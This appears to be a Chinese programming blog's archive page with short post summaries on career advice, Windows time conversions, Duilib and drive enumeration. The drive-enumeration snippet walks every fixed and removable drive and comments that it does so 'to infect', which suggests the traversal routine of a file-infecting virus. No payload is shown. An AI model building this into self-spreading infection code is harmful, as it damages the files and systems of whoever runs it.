11 2012 档案
一位程序员工作10年总结的13个忠告
摘要:走过的路,回忆起来是那么曲折,把自己的一些心得体会分享给程 序员兄弟姐妹们,虽然时代在变化,但是很可能你也会走我已经做过的10年的路程,有些心得体会你可以借鉴一下,觉得说得有道理的你就接纳,觉得说得没道理 的,你就抛弃,以下是我发自内心的,给大家的忠告,特别是针对那些小弟弟妹妹们。01. 自己的户口档案、养老保险、医疗保险、住房公积金一定要保管好。由 于程序员行业每年跳槽一次,我不隐瞒大家,我至少换过5个以上的单位,这期间跳来跳去,甚至是城市都换过3个。还好户口没丢掉,其他都已经是乱了,好几个 城市里,都有交过三金,甚至是一个程序的2个区里交的都有,那些东西,10年后,会变得很重要。你买房子若
阅读全文
Windows的本地时间(LocalTime)、系统时间(SystemTime)、格林威治时间(UTC-Time)、文件时间(FileTime)之间的转换
摘要:首先,先从简单的说起,本地时间(LocalTime),也就是系统设置时区的当前时间!比如说当前系统设置的时区为“(UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐”(东八区),系统的右下角通知区域显示的时间为“2012/5/18 16:57”,那么这个时间就是当前系统的本地时间! 要说清楚什么是系统时间(SystemTime)之前先来了解一下格林威治时间。本初子午线被定义为通过格林威治经线的位置,相对这条经线的时区向东递增,向西递减,每隔一个时区,相差一个小时。那么,上面例子中的东八区的时间就是相对于格林威治时间加上了八个小时!而Windows的系统时间是就是格林威治时间!知道了这一.
阅读全文
枚举磁盘 枚举目录 对目录进行操作
摘要:void EnumSys(){for(char i='A';i<='Z';i++) { char x[20]={i,':'}; UINT Type=GetDriveType(x); if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE)//取硬盘和移动磁盘 { EnumDirectory(x);//进行感染 此函数下面介绍 } } } bool EnumDirectory(TCHAR *dirpath) { WIN32_FIND_DATA fd; TCHAR szTempFileFi...
阅读全文
time_t和SYSTEMTIME之间的相互转换
摘要:/***time_t转SYSTEMTIME*/SYSTEMTIME TimetToSystemTime(time_t t){ FILETIME ft; SYSTEMTIME pst; LONGLONG nLL = Int32x32To64(t, 10000000) + 116444736000000000; ft.dwLowDateTime = (DWORD)nLL; ft.dwHighDateTime = (DWORD)(nLL >> 32); FileTimeToSystemTime(&ft, &pst); return pst;}/***SYSTEMTIME转
阅读全文
Duilib编译成静态库
摘要:有很多人不知道如何编译成静态库,其实很简单的。首先在vs中设置duilib项目。如图:配置类型改为静态库。第二步修改UIlib.h头文件上面的宏。如图:第三步在这个头文件下面添加内容:#pragma comment(lib,"oledlg.lib")#pragma comment(lib,"winmm.lib")#pragma comment(lib,"comctl32.lib")#pragma comment(lib,"Riched20.lib")如图:然后编译,看看它的生成目录是不是有个DuiLib.lib文件
阅读全文